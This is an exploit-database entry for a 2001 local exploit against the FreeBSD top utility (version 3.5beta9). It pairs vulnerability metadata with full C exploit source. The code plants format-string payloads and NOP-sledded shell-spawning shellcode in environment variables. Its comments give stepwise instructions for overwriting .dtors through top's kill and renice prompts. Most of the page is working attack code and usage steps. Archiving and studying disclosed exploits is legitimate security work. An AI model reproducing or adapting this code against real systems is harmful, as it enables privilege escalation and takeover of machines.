freebsd x86 top exploit

vendor:

FreeBSD

by:

truefinder

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: FreeBSD

Affected Version From: top-3.5beta9

Affected Version To: top-3.5beta9

Patch Exists: NO

Related CWE:

CPE: o:freebsd:freebsd

Metasploit:

Other Scripts:

Platforms Tested: FreeBSD

2001

The exploit takes advantage of a buffer overflow vulnerability in the top program on FreeBSD systems. By setting up a specific environment variable, an attacker can execute arbitrary code and gain control of the system. The exploit includes a shellcode that spawns a shell.

Mitigation:

The vulnerability can be mitigated by applying the necessary patches or updates provided by the vendor.

Source

Exploit-DB raw data:

/*
 * freebsd x86 top exploit
 * affected under top-3.5beta9 ( including this version )
 *
 * 1. get the address of .dtors from /usr/bin/top using objdump ,
 *
 * 'objdump -s -j .dtors /usr/bin/top'
 *
 * 2. divide it into four parts, and set it up into an environment variable like "XSEO="
 *
 * 3. run top, then find "your parted addresses from "kill" or "renice" command like this
 *
 * 'k %200$p' or 'r 2000 %200$p'
 *
 * 4. do exploit !
 *
 * 'k %190u%230$hn' <== 0xbf (4)
 * 'k %190u%229$hn' <== 0xbf (3)
 * 'k %214u%228$hn' <== 0xd7 (2)
 * 'k %118u%227$hn' <== 0x77 (1)
 *
 * truefinder , seo@igrus.inha.ac.kr
 * thx mat, labman, zen-parse
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define NOP 0x90
#define BUFSIZE 2048
 
char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 
/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
 
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
 
int
main(void)
{
        char scbuf[BUFSIZE];
        char *scp;
 
        scp = (char*)scbuf;
        memset( scbuf, NOP, BUFSIZE );
 
        scp += ( BUFSIZE - strlen(sc) - 1);
        memcpy( scp, sc ,strlen(sc));
 
        scbuf[ BUFSIZE - 1] = '\0';
 
        memcpy( scbuf, "EGG=", 4);
 
        putenv(fmt);
        putenv(scbuf);
 
        system("/bin/bash");
}

// milw0rm.com [2001-07-23]